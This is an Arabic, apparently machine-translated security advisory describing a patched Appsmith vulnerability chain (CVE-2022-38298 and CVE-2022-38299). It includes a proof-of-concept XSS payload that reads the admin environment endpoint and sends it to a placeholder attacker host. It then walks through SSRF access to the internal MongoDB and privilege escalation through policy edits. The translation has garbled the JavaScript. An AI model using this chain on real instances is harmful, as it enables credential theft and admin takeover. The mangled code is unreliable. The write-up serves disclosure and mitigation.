إلى الخلف
ذكاء نقاط الضعف
جدول المحتوى

المؤلفون: سبارش كولشريستا و شاشانك بهارثوال
المحرر: ديبانجلي بولراج

ملخص تنفيذي

تهديدتأثيرتخفيف
  • العديد من نقاط الضعف في Appsmith (والتي تم تصحيحها الآن) يمكن تقييدها لتحقيق الاستحواذ الكامل على حساب المشرف بنقرة واحدة.
  • يمكن للمهاجمين أولاً استغلال ثغرة XSS لسرقة بيانات اعتماد MongoDB الداخلية، ثم استغلال ثغرة SSRF للاتصال بـ MongoDB الداخلية.
  • تعرض ثغرة XSS رموز المصادقة وبيانات الاعتماد الحساسة في ملف «/api/v1/admin/env» من حساب المشرف.
  • باستخدام بيانات الاعتماد المسروقة، يمكن استغلال ثغرة SSRF لتنفيذ استعلامات إدراج/تحديث/حذف على قاعدة البيانات الداخلية.
  • احتفظ بقائمة بيضاء للنطاقات أو العناوين التي يصل إليها تطبيقك.
  • تم إصلاح الثغرات الجذرية في هذه السلسلة (CVE-2022-38298 و CVE-2022-38299) بواسطة Appsmith.
  • قم بالتحديث إلى الإصدارات 1.7.12 وما فوق.

إثبات المفهوم

استخراج البيانات من خلال XSS

أثناء التنقل بين الأدوات المختلفة المتاحة في Appsmith، واجهنا عنصر واجهة مستخدم يسمى إيفريم. باستخدام هذه الأداة، يمكن للمستخدمين إدراج إطارات iframe مع عناوين URL عشوائية و srcDoc في لوحات معلومات Appsmith الخاصة بهم. لاحظنا أن الحقل المسمى srcDoc معرض لـ XSS.

XSS in srcDoc field
XSS في مجال srcDoc

كان من الممكن استخدام XSS لسرقة ملفات تعريف الارتباط الخاصة بجلسة الإدارة ولكن تم وضع علامة على ملفات تعريف الارتباط للجلسة على أنها HttpOnly وبالتالي لا يمكن الوصول إليها عبر Javascript.

Session cookies
ملفات تعريف الارتباط للجلسة

على الرغم من أننا لم نتمكن من الوصول إلى ملفات تعريف الارتباط، فقد تمكنا من استخدام iframe لجلب المحتوى الحساس من نقطة نهاية API التي لا يمكن الوصول إليها إلا للمسؤولين. كانت إحدى نقاط النهاية هذه هي «/api/v1/admin/env» التي تحتوي على متغيرات البيئة الخاصة بـ Appsmith، بما في ذلك بيانات الاعتماد المتعلقة بالبنية التحتية. لا يمكن لأي مستخدم آخر بخلاف المسؤول الوصول إلى نقطة النهاية.

Environment endpoint not accessible only to the admin
لا يمكن الوصول إلى نقطة نهاية البيئة فقط للمشرف

نظرًا لأن لدينا القدرة على حقن إطار iframe وتنفيذ جافا سكريبت تعسفي، يمكن خداع المسؤول لتحميل إطار iframe بنجاح مما يسمح لجافا سكريبت بالوصول إلى محتويات iframe.

كدليل على المفهوم، تم إدخال الكود التالي في حقل srcDoc، لإدراج إطار iframe يقوم بتحميل نقطة نهاية بيئة الإدارة وجلب محتوى iframe بمجرد الانتهاء من التحميل. بمجرد سحب البيانات، يتم إرسالها إلى VPS الخاص بالمهاجم حيث يمكن فك تشفيرها.

<html>
<head>
<script>
وظيفة جلب المحتوى () {
محتوى var = document.getelement بالمعرف («بيانات المسؤول») .contentdocument.body.getelements حسب اسم العلامة («pre») .interHTML؛
B64 المحتوى المشفر = btoa (المحتوى)؛
<attackers_ip:port>document.location = «http:///exfiltrate؟ البيانات =» +B64 المحتوى المشفر؛
}
</script>
</head>
<body>
<p>استغلال</p>
<iframe id=» adminData» src=» /api/v1/admin/env» onload=» fetchContent ();» >
</iframe>
</body>
</html>

كود الاستغلال لحقن iframe وتسريب البيانات

بمجرد أن يصبح الاستغلال جاهزًا، يجب نشره حتى يتمكن المستخدمون الآخرون من الوصول إليه. يمكن القيام بذلك عن طريق جعل لوحة معلومات Appsmith عامة، ويمكن لأي شخص الوصول إليها.

Sharing the malicious dashboard
مشاركة لوحة التحكم الضارة

بمجرد نشر لوحة التحكم وإتاحتها للجمهور عبر رابط، يتم إرسال الرابط إلى المسؤول. بمجرد أن ينقر المسؤول على الرابط ويعرض لوحة المعلومات، يتم تحميل إطار iframe الخاص بنقطة النهاية الحساسة. ثم تقوم جافا سكريبت بسرقة محتوى iframe وإرساله إلى المهاجم. إليك كيفية تلقي البيانات من جانب المهاجم عندما يزور المسؤول لوحة التحكم الضارة.

Data exfiltration on the attacker’s end
تسريب البيانات من طرف المهاجم

الآن، يمكن للمهاجم فك تشفير بيانات base64 هذه عن طريق تشغيل الأمر التالي:

$ echo «<base64_encoded_data>» | base64 - فك التشفير

Decoded credentials
بيانات الاعتماد التي تم فك تشفيرها

يمكن استخدام بيانات اعتماد MongoDB التي تم فك تشفيرها لمزيد من التحقيق والاستغلال.

الوصول إلى MongoDB الداخلي عبر SSRF

من خلال اختباراتنا السابقة على Appsmith، نعلم أن هناك وسائل حماية تقيد الوصول إلى البيانات الوصفية الداخلية لمثيلات السحابة ولكن لا توجد قيود على المضيف المحلي. بالإضافة إلى ذلك، يحتوي Appsmith على ميزة تسمح للمستخدمين بتوصيل MongoDB كمصدر للبيانات.

قمنا بعد ذلك بالتحقق مما إذا كان يمكن استخدام هذه الوظيفة للاتصال بـ MongoDB الداخلي الذي يعمل على localhost. تم ذلك عن طريق ملء تفاصيل الاتصال والمصادقة التي تم الحصول عليها مسبقًا في النموذج الذي يسمح للمستخدمين بالاتصال بـ MongoDB كمصدر بيانات.

Connecting to Internal MongoDB
الاتصال بـ MongoDB الداخلي

عند النقر على خيار «حفظ»، تمت إضافة مصدر البيانات بنجاح. بعد ذلك، تمكنا من عرض جميع المجموعات في قاعدة بيانات Appsmith، على واجهة المستخدم.

Collections in the internal MongoDB
المجموعات في MongoDB الداخلية

رفع الامتيازات إلى المسؤول

لكل من هذه المجموعات، كان من الممكن تشغيل استعلامات DB التالية

  • أدخل
  • تحديث
  • حذف
  • تجد

من بين جميع المجموعات، تحتوي المجموعة المسماة «المستخدمون» على تفاصيل جميع المستخدمين على المنصة.

توجد في هذه المرحلة عدة طرق لتصعيد الامتيازات إلى المسؤول. من الممكن أيضًا تعديل تجزئة كلمة مرور المستخدم الإداري أو إضافة سياسات إدارية إلى مستخدمنا. شرعنا في جلب سياسات الإدارة من MongoDB، باستخدام الأمر FIND.

Fetching the policies for Admin User
جلب السياسات للمستخدم الإداري

لقد وجدنا أن حساب المسؤول يحتوي على السياسات التالية المرتبطة به.

«السياسات»:،
«الإذن»: «الإدارة: مساحة عمل المستخدم»،
«المستخدمون»:

{
«المجموعات»: []،
«الإذن»: «اقرأ: مساحة عمل المستخدم»،
«المستخدمون»:

{
«المجموعات»: []،
«الإذن»: «اقرأ: المستخدمون»،
«المستخدمون»:

{
«المجموعات»: []،
«الإذن»: «الإدارة: المستخدمون»،
«المستخدمون»:

{
«المجموعات»: []،
«الإذن»: «الإدارة: InstanceENV»،
«المستخدمون»:
}
]

بعد ذلك، باستخدام أمر التحديث، قمنا بتحديث السياسات المخصصة لمستخدمنا بسياسات الإدارة. عند النقر على «RUN»، حصلنا على استجابة ناجحة من MongoDB.

Updating the policies of our user using the UPDATE command
تحديث سياسات مستخدمنا باستخدام الأمر UPDATE

التحقق من الصحة

للتحقق من الثغرة الأمنية، قمنا بتسجيل الدخول إلى حساب المستخدم الخاص بنا عبر متصفح مختلف ووجدنا أنه يمكنه الوصول إلى جميع وظائف الإدارة والأذونات لإدارة المستخدمين ومساحات العمل والمثيلات.

Admin settings are accessible by our user
يمكن الوصول إلى إعدادات المشرف من قبل مستخدمنا

حاولنا الوصول إلى نقطة النهاية، أي «/api/v1/admin/env»، والتي تخص المسؤولين فقط، وحصلنا على استجابة ناجحة من الخادم.

Able to access admin-only endpoint
قادر على الوصول إلى نقطة النهاية للمشرف فقط

التأثير

يمكن للمهاجمين أولاً استغلال ثغرة XSS لسرقة بيانات اعتماد MongoDB الداخلية، ثم يمكن استغلال ثغرة SSRF للاتصال بـ MongoDB الداخلية لتنفيذ استعلامات DB وتحقيق الاستيلاء الكامل على الحساب أو تصعيد الامتياز.

أيضًا، لا يحتوي Appsmith على قيود تسجيل في التثبيت الافتراضي. لذلك إذا تعرض مثيل Appsmith للإنترنت، فيمكن لأي شخص التسجيل والوصول إلى الوظائف الضعيفة التي تم اكتشاف ثغرة SSRF فيها.

يمكن أن يكون لهذا تأثير واسع النطاق، نظرًا لأنه يتم عرض أكثر من 1000 مثيل من Appsmith على الإنترنت:

Shodan results for public Appsmith instances
عرض النتائج لمثيلات Appsmith العامة

التخفيف

  • تم إصلاح الثغرات الجذرية في هذه السلسلة (CVE-2022-38298 و CVE-2022-38299) بواسطة Appsmith
  • احتفظ بقائمة بيضاء للنطاقات أو العناوين التي يصل إليها تطبيقك
  • قم بالتحديث إلى الإصدارات 1.7.12 وما فوق.

الكشف المسؤول

قدمت CloudSek هذه الثغرة الأمنية إلى Appsmith عبر عملية الكشف عن الثغرات الأمنية المحددة جيدًا. بعد ذلك، قام فريق Appsmith بإصلاح هذه المشكلة في الإصدار التالي. لا تحتوي إصدارات Appsmith 1.7.12 والإصدارات الأحدث على هذه الثغرة الأمنية.

المراجع

لم يتم العثور على أية عناصر.

مدونات ذات صلة